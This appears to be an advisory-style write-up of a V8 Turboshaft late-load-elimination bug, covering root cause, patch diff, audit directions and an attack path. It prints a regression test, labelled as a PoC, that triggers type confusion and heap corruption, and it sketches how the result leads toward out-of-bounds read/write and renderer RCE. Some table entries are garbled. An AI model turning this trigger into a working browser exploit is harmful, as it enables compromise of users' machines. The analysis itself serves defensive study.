CVE-2026-87536
Overview
Background
- Turboshaft
- V8’s newer optimizing compiler intermediate representation and pipeline, successor to the older Turbofan
sea-of-nodesgraph. - Late Load Elimination (`LLE`)
- a Turboshaft reducer (
late-load-elimination-reducer.cc) that removes redundant memory loads by tracking which objects alias and which stored values remain valid. - `can_write` effect
- an operation effect flag that, despite its name, means “can write to already-allocated memory” and explicitly excludes writes to memory the operation itself allocates.
- Aliasing / non-aliasing objects
LLEtracks whether an SSA value can point to the same heap object as another value (non_aliasing_objects_), so it knows which cached loads a call may invalidate.
Root Cause Analysis
In ProcessCall, the reducer took an early bailout if (!op.Effects().can_write()) that returned before calling InvalidateAllNonAliasingInputs(op), on the assumption that a call which does not write to pre-existing memory cannot invalidate LLE’s cached state. This violated the invariant that can_write excludes memory the call itself allocates: a builtin that allocates a fresh object and copies its inputs into that object creates new aliases to those inputs even while being marked !can_write(). Because those inputs were never invalidated, LLE continued to treat previously-cached loads as still valid, letting it eliminate or mis-predict loads/stores against an object whose backing store had actually changed (e.g. a length or elements-kind transition), producing a type-confused, dangling reference.
The fix reorders the logic so InvalidateAllNonAliasingInputs(op) runs first, and only then performs the can_write bailout, ensuring alias-creating-but-non-writing calls still invalidate their inputs. The known fresh-object builtin (Builtin::kCreateShallowObjectLiteral) is handled with an explicit early return before invalidation since it provably does not alias its inputs.
!can_write() as “cannot affect LLE state” when it only means “does not write to pre-existing memory,” ignoring that such a call can still allocate and alias its inputs; the fix moves InvalidateAllNonAliasingInputs ahead of the can_write bailout so those aliases are always invalidated.Attack Path
- Prime feedback
Warm up
victimand its helpers (set0,set7,carrier) with representative arrays so the array elements-kind and shapes stabilize before optimization. - Route through a max-arg bound call
Invoke
boundCarrier(acarrier.bindwith 32765 bound args, hittingkMaxArguments) which allocates/spreads arguments and passesstaleArraythrough a call marked!can_write()that nonetheless aliases it. - Optimize the victim
Force
%OptimizeFunctionOnNextCall(victim), causing Turboshaft’sLLEto skip invalidatingstaleArrayafter the aliasing call and keep stale cached load assumptions about its length/elements. - Trigger the type confusion
Run
victim(1.1)soset7(staleArray, payload)writes past what the optimized code believes is the array’s bound/backing store, corrupting an adjacent object’s length or elements pointer. - Exploit the dangling access
Use the resulting mismatched
target/staleArraystate (e.g.target.lengthreported as 0 while memory is writable) to read or write freed/out-of-bounds heap memory.
Impact Assessment
--allow-natives-syntax only to force optimization deterministically. This is a strong primitive typically chained toward arbitrary read/write and renderer RCE within the sandbox.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/compiler/turboshaft/late-load-elimination-reducer.cc |
modified | |
switchsrc/compiler/turboshaft/late-load-elimination-reducer.cc |
modified |
Files Changed
src/compiler/turboshaft/late-load-elimination-reducer.cctest/mjsunit/mjsunit.statustest/mjsunit/turboshaft/regress-554421904.js
Audit Directions
- Effect-flag semanticsAudit every use of
can_write,can_read, and related effect predicates as bailout conditions, since their names understate what they exclude (self-allocated memory) and misuse silently drops required invalidations. - Alias creation on allocationFlag any optimization that skips alias/memory invalidation for calls or builtins deemed “non-writing” or “fresh-returning” without verifying they cannot copy inputs into newly allocated objects.
- Invalidate-before-bailout orderingReview reducers where an early
returnprecedes state-invalidation calls; confirm no invalidation that must run for all reachable operations is short-circuited by an effect-based early exit.
Patch
From 7e94f5ffc1041f9c37b5a9db38c54b149b9f0332 Mon Sep 17 00:00:00 2001 From: Darius Mercadier <[email protected]> Date: Wed, 02 Sep 2026 12:10:22 +0200 Subject: [PATCH] [turboshaft] LLE: non-writing calls can create aliases The can_write effect really means "can_write to pre-existing memory" and excludes memory allocated by the operation itself. A builtin that allocates memory and writes to it (but nowhere else) can thus be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate when processing it. Fixed: 554421904 Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8345010 Auto-Submit: Darius Mercadier <[email protected]> Reviewed-by: Leszek Swirski <[email protected]> Commit-Queue: Leszek Swirski <[email protected]> Cr-Commit-Position: refs/heads/main@{#109635} --- diff --git a/src/compiler/turboshaft/late-load-elimination-reducer.cc b/src/compiler/turboshaft/late-load-elimination-reducer.cc index 7b78d3f..d9e386f 100644 --- a/src/compiler/turboshaft/late-load-elimination-reducer.cc +++ b/src/compiler/turboshaft/late-load-elimination-reducer.cc @@ -566,28 +566,32 @@ // Some builtins do not create aliases and do not invalidate existing // memory, and some even return fresh objects. For such cases, we don't // invalidate the state, and record the non-alias if any. - if (!op.Effects().can_write()) { - TRACE(">> Call doesn't write, skipping"); - return; - } - auto builtin_id = TryGetBuiltinId(callee.TryCast<ConstantOp>(), broker_); - - // Not a builtin call, or not a builtin that we know doesn't invalidate - // memory. - InvalidateAllNonAliasingInputs(op); - if (builtin_id) { switch (*builtin_id) { case Builtin::kCreateShallowObjectLiteral: // This builtin creates a fresh non-aliasing object. non_aliasing_objects_.Set(op_idx, true); - break; + return; default: break; } } + // Not a builtin call, or not a builtin that we know doesn't invalidate + // memory. + InvalidateAllNonAliasingInputs(op); + + // Keep in mind that "can_write" really means "can write to already allocated + // memory" and excludes writes to memory that the call itself allocates. + // Hence, InvalidateAllNonAliasingInputs must be called before this can_write + // bailout, to account for the fact that some builtins may create fresh + // objects that copy their inputs, thus creating aliases. + if (!op.Effects().can_write()) { + TRACE(">> Call doesn't write, skipping"); + return; + } + // The call could modify arbitrary memory, so we invalidate every // potentially-aliasing object. memory_.InvalidateMaybeAliasing(); diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status index d06afbb..4cc9065 100644 --- a/test/mjsunit/mjsunit.status +++ b/test/mjsunit/mjsunit.status @@ -76,6 +76,7 @@ 'turbolev/regress-532607231': [PASS, SLOW], 'turbolev/regress-540717862': [PASS, SLOW], + 'turboshaft/regress-554421904': [PASS, SLOW], # https://crbug.com/1129854 'tools/log': ['arch == arm or arch == arm64', SKIP], diff --git a/test/mjsunit/turboshaft/regress-554421904.js b/test/mjsunit/turboshaft/regress-554421904.js new file mode 100644 index 0000000..1635e70 --- /dev/null +++ b/test/mjsunit/turboshaft/regress-554421904.js @@ -0,0 +1,52 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax + +function set7(arr, v) { arr[7] = v; } +function set0(arr, v) { arr[0] = v; } +function carrier(...rest) { + const receiver = rest[32765] ? rest[32766] : doubleArray; + set0(receiver, 1.1); +} +function victim(payload) { + const staleArray = Array(8); + const target = []; + if (!trigger) staleArray.x = 0; + boundCarrier(trigger, staleArray); + set7(staleArray, payload); + return { target, staleArray }; +} + +%PrepareFunctionForOptimization(set0); +%PrepareFunctionForOptimization(set7); +%PrepareFunctionForOptimization(carrier); +%PrepareFunctionForOptimization(victim); + +const doubleArray = Array(8); +set0(doubleArray, 1.1); +set7(doubleArray, 0); +set0(Array(8), 0); + +// 32765 bound arguments + 2 call arguments = 32767 (kMaxArguments). +const boundCarrier = carrier.bind(null, ...Array(32765).fill(0)); + +let trigger = 0; +victim(0); + +trigger = 1; +boundCarrier(trigger, doubleArray); + +trigger = 0; +victim(0); + +%OptimizeFunctionOnNextCall(victim); +trigger = 1; +const { target, staleArray } = victim(1.1); + +assertEquals(0, target.length); +target[0] = 1; + +assertEquals(1.1, staleArray[0]); +assertEquals(1.1, staleArray[7]);
Regression Test / PoC
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index d06afbb..4cc9065 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -76,6 +76,7 @@
'turbolev/regress-532607231': [PASS, SLOW],
'turbolev/regress-540717862': [PASS, SLOW],
+ 'turboshaft/regress-554421904': [PASS, SLOW],
# https://crbug.com/1129854
'tools/log': ['arch == arm or arch == arm64', SKIP],
diff --git a/test/mjsunit/turboshaft/regress-554421904.js b/test/mjsunit/turboshaft/regress-554421904.js
new file mode 100644
index 0000000..1635e70
--- /dev/null
+++ b/test/mjsunit/turboshaft/regress-554421904.js
@@ -0,0 +1,52 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function set7(arr, v) { arr[7] = v; }
+function set0(arr, v) { arr[0] = v; }
+function carrier(...rest) {
+ const receiver = rest[32765] ? rest[32766] : doubleArray;
+ set0(receiver, 1.1);
+}
+function victim(payload) {
+ const staleArray = Array(8);
+ const target = [];
+ if (!trigger) staleArray.x = 0;
+ boundCarrier(trigger, staleArray);
+ set7(staleArray, payload);
+ return { target, staleArray };
+}
+
+%PrepareFunctionForOptimization(set0);
+%PrepareFunctionForOptimization(set7);
+%PrepareFunctionForOptimization(carrier);
+%PrepareFunctionForOptimization(victim);
+
+const doubleArray = Array(8);
+set0(doubleArray, 1.1);
+set7(doubleArray, 0);
+set0(Array(8), 0);
+
+// 32765 bound arguments + 2 call arguments = 32767 (kMaxArguments).
+const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
+
+let trigger = 0;
+victim(0);
+
+trigger = 1;
+boundCarrier(trigger, doubleArray);
+
+trigger = 0;
+victim(0);
+
+%OptimizeFunctionOnNextCall(victim);
+trigger = 1;
+const { target, staleArray } = victim(1.1);
+
+assertEquals(0, target.length);
+target[0] = 1;
+
+assertEquals(1.1, staleArray[0]);
+assertEquals(1.1, staleArray[7]);